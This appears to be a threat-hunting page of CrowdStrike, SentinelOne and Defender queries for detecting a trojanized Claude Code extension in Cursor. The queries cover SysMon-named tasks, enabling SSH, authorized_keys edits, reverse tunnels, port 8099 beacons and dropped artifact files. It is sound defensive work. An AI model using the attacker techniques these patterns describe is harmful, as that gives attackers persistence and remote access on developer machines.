// HUNT: Persistence and SSH-enablement commands from the trojanized loader // MITRE: T1053.005, T1543.001, T1021.004, T1036.004 // CONF: medium FP: medium COST: low // REQUIRES: process creation with command line on Windows and macOS sensors // FALSE POSITIVES: IT provisioning that enables Remote Login or OpenSSH Server; software that registers a task named SysMon // TUNING: exclude MDM and provisioning parents (ParentBaseFileName) and your build accounts; keep the SysMon and com.apple.sysmond branches unfiltered because the names are the signal #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | (FileName=/^schtasks(\.exe)?$/i and CommandLine=/\bcreate\b.*\bSysMon\b/i) or (FileName=/^launchctl$/i and CommandLine=/com\.apple\.sysmond/i) or (FileName=/^systemsetup$/i and CommandLine=/-setremotelogin\s+on/i) or (FileName=/^powershell(\.exe)?$/i and CommandLine=/Add-WindowsCapability.*OpenSSH\.Server/i) | table([@timestamp, event_platform, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid])
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, tgt.process.name, tgt.process.cmdline
// HUNT: Persistence and SSH-enablement commands from the trojanized loader
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1053.005, T1543.001, T1021.004, T1036.004
// CONF: medium | FP: medium
// FALSE POSITIVES: IT provisioning that enables Remote Login or OpenSSH Server; software that registers a task named SysMon
// EQUIVALENCE: equivalent-with-schema-assumptions - Same four process-creation branches: schtasks creating a task named SysMon, launchctl naming com.apple.sysmond, systemsetup enabling remote login, and PowerShell adding the OpenSSH server capability. contains and matches are case-insensitive, which reproduces the CQL /i intent. The CQL word order between create and SysMon is not enforced.
// REQUIRES: SentinelOne Deep Visibility process-creation events with command line on Windows and macOS agents
// TUNING: Exclude MDM and provisioning parents (src.process.name) and build accounts; keep the SysMon and com.apple.sysmond branches unfiltered because the names are the signal.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No data tables or lookups required; set the console time picker to the lookback.
// KNOWN GAPS: Persistence created through the Task Scheduler API rather than schtasks is not matched by this card.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' and ((tgt.process.name in:anycase ('schtasks', 'schtasks.exe') and tgt.process.cmdline contains 'create' and tgt.process.cmdline contains 'SysMon') or (tgt.process.name in:anycase ('launchctl') and tgt.process.cmdline contains 'com.apple.sysmond') or (tgt.process.name in:anycase ('systemsetup') and tgt.process.cmdline matches '-setremotelogin\\s+on') or (tgt.process.name in:anycase ('powershell', 'powershell.exe') and tgt.process.cmdline contains 'Add-WindowsCapability' and tgt.process.cmdline contains 'OpenSSH.Server'))
| columns event.time, endpoint.name, endpoint.os, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: Persistence and SSH-enablement commands from the trojanized loader
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1053.005, T1543.001, T1021.004, T1036.004
// CONF: medium | FP: medium
// FALSE POSITIVES: IT provisioning that enables Remote Login or OpenSSH Server; software that registers a task named SysMon
// EQUIVALENCE: equivalent-with-schema-assumptions - Same four process-creation branches: schtasks creating a task named SysMon, launchctl naming com.apple.sysmond, systemsetup enabling remote login, and PowerShell adding the OpenSSH server capability. contains and (?i) regex are case-insensitive, which reproduces the CQL /i intent. The CQL word order between create and SysMon is not enforced.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) on Windows and macOS devices
// TUNING: Exclude MDM and provisioning parents (InitiatingProcessFileName) and build accounts; keep the SysMon and com.apple.sysmond branches unfiltered because the names are the signal.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: Persistence created through the Task Scheduler API rather than schtasks is not matched by this card.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where (FileName in~ ("schtasks.exe", "schtasks") and ProcessCommandLine contains "create" and ProcessCommandLine contains "SysMon") or (FileName =~ "launchctl" and ProcessCommandLine contains "com.apple.sysmond") or (FileName =~ "systemsetup" and ProcessCommandLine matches regex @"(?i)-setremotelogin\s+on") or (FileName in~ ("powershell.exe", "powershell") and ProcessCommandLine contains "Add-WindowsCapability" and ProcessCommandLine contains "OpenSSH.Server")
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
| take 200Looks for: Child processes whose parent name starts with Cursor (the Windows Cursor.exe and the macOS Cursor Helper family) and whose command line touches authorized_keys, creates a task, loads a launch object, enables SSH, installs OpenSSH Server, builds a -R forward or names a dropped artifact. A trojanized extension runs inside this tree. FP: Cursor's Remote-SSH features and integrated terminals legitimately start ssh, and a user can run any of these commands in the terminal.
Known limitations and deployment notes
- PowerQuery: A Cursor helper whose process name does not begin with cursor is not matched.
- PowerQuery assumes: src.process.name is the creator of the new process on a Process Creation event and starts with cursor for Cursor and its helper processes.
- PowerQuery assumes: matches is applied case-insensitively and the pattern is wrapped in leading and trailing wildcards so it holds whether the engine anchors the whole value or searches within it.
- KQL – Defender XDR: A Cursor helper whose process name does not begin with cursor is not matched.
- KQL – Defender XDR assumes: InitiatingProcessFileName starts with cursor for Cursor and its helper processes.
// HUNT: Cursor process tree spawning key, task, launch-object or tunnel commands // MITRE: T1195.002, T1098.004, T1572 // CONF: medium FP: medium COST: low // REQUIRES: process creation with parent on Windows or macOS sensors; the parent name can differ by Cursor version // FALSE POSITIVES: Remote-SSH port forwards; developers running these commands in the integrated terminal // TUNING: exclude known developer accounts for the -R branch only; keep authorized_keys, SysMon, sysmond and .stk_ branches unfiltered; confirm with Q5 and the Section 7 checks #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^cursor/i | CommandLine=/(authorized_keys|\bschtasks\b.*\bcreate\b|\blaunchctl\b.*(load|bootstrap)|setremotelogin|Add-WindowsCapability|-R\s+\S*:\d+:\S*:22\b|\.config.\.smt|smt\.cmd|sysmon\.cmd|\.stk_[0-9a-f]{10})/i | table([@timestamp, event_platform, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, aid])
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timesrc.process.name: Creator process nametgt.process.cmdline: Created command line
Recommended fields
tgt.process.name: Created process name
Readiness test
event.type = 'Process Creation' src.process.name = * | limit 5 | columns event.time, src.process.name, tgt.process.cmdline
// HUNT: Cursor process tree spawning key, task, launch-object or tunnel commands
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1195.002, T1098.004, T1572
// CONF: medium | FP: medium
// FALSE POSITIVES: Remote-SSH port forwards; developers running these commands in the integrated terminal
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: a process whose creator name starts with cursor, created with a command line that names the key file, task, launch-object, remote-login or tunnel shapes. The creator is src.process.name on a Process Creation event, and the whole CQL command-line regex is kept as one case-insensitive matches test.
// REQUIRES: SentinelOne Deep Visibility process-creation events with creator and command line on Windows or macOS agents; the creator name can differ by Cursor version
// TUNING: Exclude known developer accounts for the -R branch only; keep the authorized_keys, SysMon, sysmond and .stk_ branches unfiltered; confirm with Q5 and the Section 7 checks.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No data tables or lookups required; set the console time picker to the lookback.
// KNOWN GAPS: A Cursor helper whose process name does not begin with cursor is not matched.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' and src.process.name matches '^cursor.*' and tgt.process.cmdline matches '.*(authorized_keys|\\bschtasks\\b.*\\bcreate\\b|\\blaunchctl\\b.*(load|bootstrap)|setremotelogin|Add-WindowsCapability|-R\\s+\\S*:\\d+:\\S*:22\\b|\\.config.\\.smt|smt\\.cmd|sysmon\\.cmd|\\.stk_[0-9a-f]{10}).*'
| columns event.time, endpoint.name, endpoint.os, src.process.user, src.process.name, tgt.process.name, tgt.process.cmdline
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeInitiatingProcessFileName: Initiating processProcessCommandLine: Created command line
Recommended fields
FileName: Created process name
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, InitiatingProcessFileName, ProcessCommandLine | take 5
// HUNT: Cursor process tree spawning key, task, launch-object or tunnel commands
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1195.002, T1098.004, T1572
// CONF: medium | FP: medium
// FALSE POSITIVES: Remote-SSH port forwards; developers running these commands in the integrated terminal
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: a process whose parent name starts with cursor, created with a command line that names the key file, task, launch-object, remote-login or tunnel shapes. The parent is InitiatingProcessFileName and startswith is case-insensitive, and the whole CQL command-line regex is kept under a (?i) prefix.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) with the initiating process on Windows or macOS devices; the parent name can differ by Cursor version
// TUNING: Exclude known developer accounts for the -R branch only; keep the authorized_keys, SysMon, sysmond and .stk_ branches unfiltered; confirm with Q5 and the Section 7 checks.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: A Cursor helper whose process name does not begin with cursor is not matched.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where InitiatingProcessFileName startswith "cursor"
| where ProcessCommandLine matches regex @"(?i)(authorized_keys|\bschtasks\b.*\bcreate\b|\blaunchctl\b.*(load|bootstrap)|setremotelogin|Add-WindowsCapability|-R\s+\S*:\d+:\S*:22\b|\.config.\.smt|smt\.cmd|sysmon\.cmd|\.stk_[0-9a-f]{10})"
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| sort by Timestamp desc
| take 200Looks for: A process whose basename is one of the dropped scripts, or whose command line names ~/.config/.smt, .smtk, smt.cmd, sysmon.cmd, a .stk_ key file (ten hex digits) or a cron @reboot line pointing at .smt. This is where the LaunchAgent, the cron entry, the Startup fallback and the SSH retry loop become visible, because each is a shell or cmd.exe run on the script. These names are specific, so false positives should be rare.
Known limitations and deployment notes
- PowerQuery: Files dropped but never executed are not process events and are not matched.
- PowerQuery assumes: tgt.process.name is the bare image name of the created process.
- PowerQuery assumes: The path pattern config.smt.cmd keeps the CQL wildcard between config and smt, and is written with a non-capturing group around the leading dot so the literal check reads the file name.
- PowerQuery assumes: matches is applied case-insensitively and the pattern is wrapped in leading and trailing wildcards so it holds whether the engine anchors the whole value or searches within it.
- KQL – Defender XDR: Files dropped but never executed are not process events and are not matched.
- KQL – Defender XDR assumes: FileName holds the bare image name of the created process.
- KQL – Defender XDR assumes: The path pattern config.smt.cmd keeps the CQL wildcard between config and smt, and is written with a non-capturing group around the leading dot so the literal check reads the file name.
// HUNT: Execution that references the dropped persistence and tunnel-key artifacts // MITRE: T1053.003, T1053.005, T1543.001, T1547.001, T1572 // CONF: high FP: low COST: low // REQUIRES: process creation with command line on Windows, macOS and Linux sensors // FALSE POSITIVES: an unrelated tool that happens to use a file named sysmon.cmd; none known #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | (FileName=/^(\.smtk?|smt\.cmd|sysmon\.cmd)$/i or CommandLine=/(\.config.\.smtk?\b|\.config.smt\.cmd|sysmon\.cmd|\.stk_[0-9a-f]{10}|@reboot.*\.smt)/i) | table([@timestamp, event_platform, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid])
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timetgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator process
Readiness test
event.type = 'Process Creation' tgt.process.cmdline = * | limit 5 | columns event.time, tgt.process.name, tgt.process.cmdline
// HUNT: Execution that references the dropped persistence and tunnel-key artifacts
// SCHEMA PROFILE: sentinelone-endpoint-ocsf
// MITRE: T1053.003, T1053.005, T1543.001, T1547.001, T1572
// CONF: high | FP: low
// FALSE POSITIVES: an unrelated tool that happens to use a file named sysmon.cmd; none known
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: a created process named like the dropped artifacts, or a command line that references them. Names use a case-insensitive list and the command-line regex is kept as one case-insensitive matches test.
// REQUIRES: SentinelOne Deep Visibility process-creation events with command line on Windows, macOS and Linux agents
// TUNING: None needed for the artifact names; an unrelated tool that happens to use a file named sysmon.cmd is the only known false positive.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No data tables or lookups required; set the console time picker to the lookback.
// KNOWN GAPS: Files dropped but never executed are not process events and are not matched.
// VALIDATION LEVEL: static-reviewed
event.type = 'Process Creation' and (tgt.process.name in:anycase ('.smt', '.smtk', 'smt.cmd', 'sysmon.cmd') or tgt.process.cmdline matches '.*(\\.config.\\.smtk?\\b|(?:\\.)config.smt\\.cmd|sysmon\\.cmd|\\.stk_[0-9a-f]{10}|@reboot.*\\.smt).*')
| columns event.time, endpoint.name, endpoint.os, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name
| limit 200Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: Execution that references the dropped persistence and tunnel-key artifacts
// SCHEMA PROFILE: microsoft-defender-xdr
// MITRE: T1053.003, T1053.005, T1543.001, T1547.001, T1572
// CONF: high | FP: low
// FALSE POSITIVES: an unrelated tool that happens to use a file named sysmon.cmd; none known
// EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: a created process named like the dropped artifacts, or a command line that references them. Names use a case-insensitive list and the command-line regex is kept under a (?i) prefix.
// REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) on Windows, macOS and Linux devices
// TUNING: None needed for the artifact names; an unrelated tool that happens to use a file named sysmon.cmd is the only known false positive.
// LOOKBACK: 7d; extend to 30d for the incident window
// CONFIGURATION: No lookup objects required.
// KNOWN GAPS: Files dropped but never executed are not process events and are not matched.
// VALIDATION LEVEL: schema-aligned
// AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where FileName in~ (".smt", ".smtk", "smt.cmd", "sysmon.cmd") or ProcessCommandLine matches regex @"(?i)(\.config.\.smtk?\b|(?:\.)config.smt\.cmd|sysmon\.cmd|\.stk_[0-9a-f]{10}|@reboot.*\.smt)"
| project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName
| sort by Timestamp desc
| take 200Looks for: The editor process itself connecting to TCP 8099 (the beacon port, including the loopback attempt) or to TCP 22 outside private ranges. It does not depend on the server address, so it survives infrastructure change. FP: Remote-SSH to your own development servers uses TCP 22, and local dev servers sometimes use port 8099.
Known limitations and deployment notes
- PowerQuery: IPv6 destinations are not excluded by the private-range tests and are matched on port alone.
- PowerQuery assumes: src.process.name is the connecting process on an IP Connect event and starts with cursor for Cursor and its helper processes.
- PowerQuery assumes: dst.port.number is numeric on IP Connect events.
- KQL – Defender XDR: IPv6 destinations are not covered, matching the IPv4-only CQL.
- KQL – Defender XDR assumes: InitiatingProcessFileName starts with cursor for Cursor and its helper processes.
- KQL – Defender XDR assumes: ipv4_is_private returns null for an IPv6 address, so IPv6 destinations drop out, as the CQL is IPv4 only.
// HUNT: Cursor-family process connecting on TCP 8099 or to an external SSH port // MITRE: T1071.001, T1572 // CONF: medium FP: medium COST: low // REQUIRES: outbound network connection events (IPv4); ContextBaseFileName must carry the Cursor process name // FALSE POSITIVES: Remote-SSH sessions to sanctioned hosts; developer tooling that listens on 8099 locally // TUNING: exclude your sanctioned SSH destinations (RemoteAddressIP4) for the port 22 branch; baseline local 8099 listeners for two weeks before alerting on loopback hits #event_simpleName=NetworkConnectIP4 | ContextBaseFileName=/^cursor/i | (RemotePort=8099 or RemotePort=22) | !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "169.254.0.0/16"]) | table([@timestamp, event_platform, ComputerName, aid, ContextBaseFileName, RemoteAddressIP4, RemotePort])
4 required fields · View requirements
Required telemetry
- IP Connect
Required fields
event.time: Event timesrc.process.name: Connecting process namedst.ip.address: Remote addressdst.port.number: Remote port
Readiness test
event.type = 'IP Connect' src.process.name = * | limit 5 | columns event.time, src.process.name, dst.ip.address, dst.port.number
// HUNT: Cursor-family process connecting on TCP 8099 or to an external SSH port // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1071.001, T1572 // CONF: medium | FP: medium // FALSE POSITIVES: Remote-SSH sessions to sanctioned hosts; developer tooling that listens on 8099 locally // EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: a Cursor-family process making an outbound IPv4 connection on TCP 8099 or 22 to a destination outside the RFC1918 and link-local ranges. On an IP Connect event the acting process is src.process.*. Loopback is not excluded, matching the CQL. // REQUIRES: SentinelOne Deep Visibility network events (event.type IP Connect) with the connecting process name // TUNING: Exclude sanctioned SSH destinations (dst.ip.address) for the port 22 branch; baseline local 8099 listeners for two weeks before alerting on loopback hits. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No data tables or lookups required; set the console time picker to the lookback. // KNOWN GAPS: IPv6 destinations are not excluded by the private-range tests and are matched on port alone. // VALIDATION LEVEL: static-reviewed event.type = 'IP Connect' and src.process.name matches '^cursor.*' and (dst.port.number = 8099 or dst.port.number = 22) and !(net_rfc1918(dst.ip.address)) and !(net_ipsubnet(dst.ip.address, '169.254.0.0/16')) | columns event.time, endpoint.name, src.process.name, dst.ip.address, dst.port.number | limit 200
Automated validation: static-passed
4 required fields · View requirements
Required telemetry
- DeviceNetworkEvents
Required fields
Timestamp: Event timeInitiatingProcessFileName: Initiating processRemoteIP: Remote addressRemotePort: Remote port
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceNetworkEvents | where Timestamp > ago(1d) | project Timestamp, InitiatingProcessFileName, RemoteIP, RemotePort | take 5
// HUNT: Cursor-family process connecting on TCP 8099 or to an external SSH port // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1071.001, T1572 // CONF: medium | FP: medium // FALSE POSITIVES: Remote-SSH sessions to sanctioned hosts; developer tooling that listens on 8099 locally // EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate: a Cursor-family process making an outbound IPv4 connection on TCP 8099 or 22 to a destination outside the RFC1918 and link-local ranges. The connecting process is InitiatingProcessFileName and startswith is case-insensitive. Loopback is not excluded, matching the CQL. // REQUIRES: Defender for Endpoint network telemetry (DeviceNetworkEvents) with the initiating process // TUNING: Exclude sanctioned SSH destinations (RemoteIP) for the port 22 branch; baseline local 8099 listeners for two weeks before alerting on loopback hits. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: IPv6 destinations are not covered, matching the IPv4-only CQL. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceNetworkEvents | where Timestamp >= ago(7d) | where InitiatingProcessFileName startswith "cursor" | where RemotePort in (8099, 22) | where not(ipv4_is_private(RemoteIP)) and not(ipv4_is_in_range(RemoteIP, "169.254.0.0/16")) | project Timestamp, ReportId, DeviceId, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort | sort by Timestamp desc | take 200
Looks for: Registration of a scheduled task named SysMon (the loader asks for SYSTEM and falls back to the Startup folder), or any task whose action runs smt.cmd. FP: a legitimate monitoring tool that registers a task with this name; inspect the configured action before concluding anything.
Known limitations and deployment notes
- PowerQuery: SentinelOne cannot show the registered task name and executable from this card until the task event fields are confirmed on a tenant.
- KQL – Defender XDR: The task author is not available as a column and is not shown.
- KQL – Defender XDR: If AdditionalFields omits the task action on your tenant, the smt.cmd branch returns nothing.
- KQL – Defender XDR assumes: ActionType ScheduledTaskCreated is attested in Microsoft-owned hunting repositories but not listed on Learn.
- KQL – Defender XDR assumes: AdditionalFields is a JSON string whose TaskName key holds the task name, and its text includes the task action so smt.cmd can be found by substring.
- KQL – Defender XDR assumes: The CQL task author field has no Defender equivalent here and is not matched.
// HUNT: Windows scheduled task named SysMon or running smt.cmd // MITRE: T1053.005, T1036.004 // CONF: medium FP: medium COST: low // REQUIRES: ScheduledTaskRegistered events (Windows). ⚠ validate in tenant: TaskName, TaskExecutable and TaskAuthor population varies by sensor version // FALSE POSITIVES: monitoring software that registers a task named SysMon // TUNING: exclude tasks whose TaskExecutable resolves to your approved monitoring agent path; keep the smt.cmd branch unfiltered #event_simpleName=ScheduledTaskRegistered | (TaskName=/^\\?SysMon$/i or TaskExecutable=/smt\.cmd/i) | table([@timestamp, ComputerName, aid, TaskName, TaskExecutable, TaskAuthor])
1 required field · View requirements
Required telemetry
- none attested; the nearest is Process Creation for the schtasks command line
Required fields
event.type: Event type
Readiness test
event.type = 'Process Creation' | limit 5 | columns event.type
// HUNT: Windows scheduled task named SysMon or running smt.cmd // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1053.005, T1036.004 // CONF: medium | FP: medium // FALSE POSITIVES: monitoring software that registers a task named SysMon // EQUIVALENCE: unsupported-without-redesign - The CQL reads a scheduled-task registration event with the task name and executable as fields. The SentinelOne field model here attests no scheduled-task event type or task fields, so any PowerQuery would hunt unproven field names and read as a clean estate. // REQUIRES: A SentinelOne task-registration event with attested task name and action fields, confirmed on the tenant // TUNING: Use the CQL tab for this card; Q3 covers the schtasks create command line for the SysMon name. // LOOKBACK: 7d on the CQL tab // CONFIGURATION: Use the CQL tab for this card. // KNOWN GAPS: SentinelOne cannot show the registered task name and executable from this card until the task event fields are confirmed on a tenant. // VALIDATION LEVEL: static-reviewed
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceEvents
Required fields
Timestamp: Event timeActionType: Action typeAdditionalFields: Task details
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceEvents | where Timestamp > ago(1d) | where ActionType == "ScheduledTaskCreated" | project Timestamp, ActionType, AdditionalFields | take 5
// HUNT: Windows scheduled task named SysMon or running smt.cmd // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1053.005, T1036.004 // CONF: medium | FP: medium // FALSE POSITIVES: monitoring software that registers a task named SysMon // EQUIVALENCE: equivalent-with-schema-assumptions - Same intent on the Defender scheduled-task action: a task whose name is SysMon with an optional leading backslash, or whose recorded task details name smt.cmd. The task name is read from AdditionalFields; the executable is matched anywhere in that same field because no separate executable column is documented. // REQUIRES: Defender for Endpoint scheduled-task telemetry (DeviceEvents with ActionType ScheduledTaskCreated) on Windows devices // TUNING: Exclude tasks whose recorded details resolve to your approved monitoring agent path; keep the smt.cmd branch unfiltered. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: The task author is not available as a column and is not shown. If AdditionalFields omits the task action on your tenant, the smt.cmd branch returns nothing. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceEvents | where Timestamp >= ago(7d) | where ActionType == "ScheduledTaskCreated" | extend TaskName = tostring(parse_json(AdditionalFields).TaskName) | where TaskName matches regex @"(?i)^\\?SysMon$" or AdditionalFields contains "smt.cmd" | project Timestamp, ReportId, DeviceId, DeviceName, ActionType, TaskName, AdditionalFields, InitiatingProcessFileName | sort by Timestamp desc | take 200
Looks for: Any process whose image path or command line contains anthropic.claude-code-2.1.312- or -2.1.313-, grouped per host. It only fires if the extension launched a binary from that folder, so it is a partial inventory, not a complete one. FP: the clean Open VSX 2.1.312 build uses the same folder name, so a 2.1.312 hit is only an exposure lead; confirm the source and the extension.js hash. A 2.1.313 hit is stronger because that version was never published outside Cursor's marketplace.
Known limitations and deployment notes
- PowerQuery: Only the first image path per host is shown.
- PowerQuery: Fires only if the extension starts a binary; an extension that never launches a process leaves no event.
- PowerQuery assumes: tgt.process.image.path holds the full path of the created process.
- PowerQuery assumes: The result keeps one example image path per host, not the full set.
- KQL – Defender XDR: Fires only if the extension starts a binary; an extension that never launches a process leaves no event.
- KQL – Defender XDR assumes: FolderPath holds the full path of the created process.
// HUNT: Process launched from an affected Claude Code extension folder (exposure lead) // MITRE: T1195.002 // CONF: medium FP: medium COST: low // REQUIRES: process creation with image path and command line. Partial inventory only: fires only if the extension starts a binary // FALSE POSITIVES: the clean Open VSX 2.1.312 build shares the folder name anthropic.claude-code-2.1.312-* // TUNING: treat 2.1.313 as exposed; for 2.1.312 confirm the install came from Cursor's marketplace (not Open VSX) and check extension.js for 134.209.82.225 and svc-telemetry #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | (ImageFileName=/anthropic\.claude-code-2\.1\.31[23]-/i or CommandLine=/anthropic\.claude-code-2\.1\.31[23]-/i) | groupBy([aid, ComputerName], function=[count(as=Hits), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen), collect([ImageFileName])]) | table([ComputerName, aid, Hits, FirstSeen, LastSeen, ImageFileName])
5 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.time: Event timetgt.process.image.path: Created process pathtgt.process.cmdline: Created command lineagent.uuid: Agent identityendpoint.name: Host name
Readiness test
event.type = 'Process Creation' tgt.process.image.path = * | limit 5 | columns event.time, agent.uuid, endpoint.name, tgt.process.image.path, tgt.process.cmdline
// HUNT: Process launched from an affected Claude Code extension folder (exposure lead) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1195.002 // CONF: medium | FP: medium // FALSE POSITIVES: the clean Open VSX 2.1.312 build shares the folder name anthropic.claude-code-2.1.312-* // EQUIVALENCE: approximate-analytic - Same population and grouping: process creations whose image path or command line names an affected extension folder, counted per host with first and last seen. The CQL collects every image path; PowerQuery has no collect aggregate in the offline engine, so one example path is returned with any(). // REQUIRES: SentinelOne Deep Visibility process-creation events with image path and command line // TUNING: Treat 2.1.313 as exposed; for 2.1.312 confirm the install came from the Cursor marketplace rather than Open VSX before escalating. // LOOKBACK: 30d; this is an exposure lead and the extension may have run well before the disclosure // CONFIGURATION: No data tables or lookups required; set the console time picker to the lookback. // KNOWN GAPS: Only the first image path per host is shown. Fires only if the extension starts a binary; an extension that never launches a process leaves no event. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' and (tgt.process.image.path matches '.*anthropic\\.claude-code-2\\.1\\.31[23]-.*' or tgt.process.cmdline matches '.*anthropic\\.claude-code-2\\.1\\.31[23]-.*') | group hits=count(), first_seen=min(event.time), last_seen=max(event.time), image_path=any(tgt.process.image.path) by agent.uuid, endpoint.name | sort -hits | limit 200
Automated validation: static-passed
4 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFolderPath: Created process pathProcessCommandLine: Created command lineDeviceId: Device identity
Recommended fields
DeviceName: Device name
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, DeviceId, FolderPath, ProcessCommandLine | take 5
// HUNT: Process launched from an affected Claude Code extension folder (exposure lead) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1195.002 // CONF: medium | FP: medium // FALSE POSITIVES: the clean Open VSX 2.1.312 build shares the folder name anthropic.claude-code-2.1.312-* // EQUIVALENCE: equivalent-with-schema-assumptions - Same population and grouping: process creations whose image path or command line names an affected extension folder, counted per device with first and last seen and the distinct image paths. // REQUIRES: Defender for Endpoint process-creation telemetry (DeviceProcessEvents) // TUNING: Treat 2.1.313 as exposed; for 2.1.312 confirm the install came from the Cursor marketplace rather than Open VSX before escalating. // LOOKBACK: 30d (Advanced Hunting retention) // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Fires only if the extension starts a binary; an extension that never launches a process leaves no event. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed-with-warnings; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(30d) | where FolderPath matches regex @"(?i)anthropic\.claude-code-2\.1\.31[23]-" or ProcessCommandLine matches regex @"(?i)anthropic\.claude-code-2\.1\.31[23]-" | summarize Hits = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), ImagePaths = make_set(FolderPath, 10) by DeviceId, DeviceName | sort by LastSeen desc | take 200
Detection Rules by Platform
Three queries are specific enough to promote. All ship as detect: ssh, autossh, schtasks, systemsetup and Cursor are legitimate software, so no IOA here uses a prevent action.
CrowdStrike: Custom IOA
| IOA name | Promotes | Pattern | Exclusions | Deployment Path |
|---|---|---|---|---|
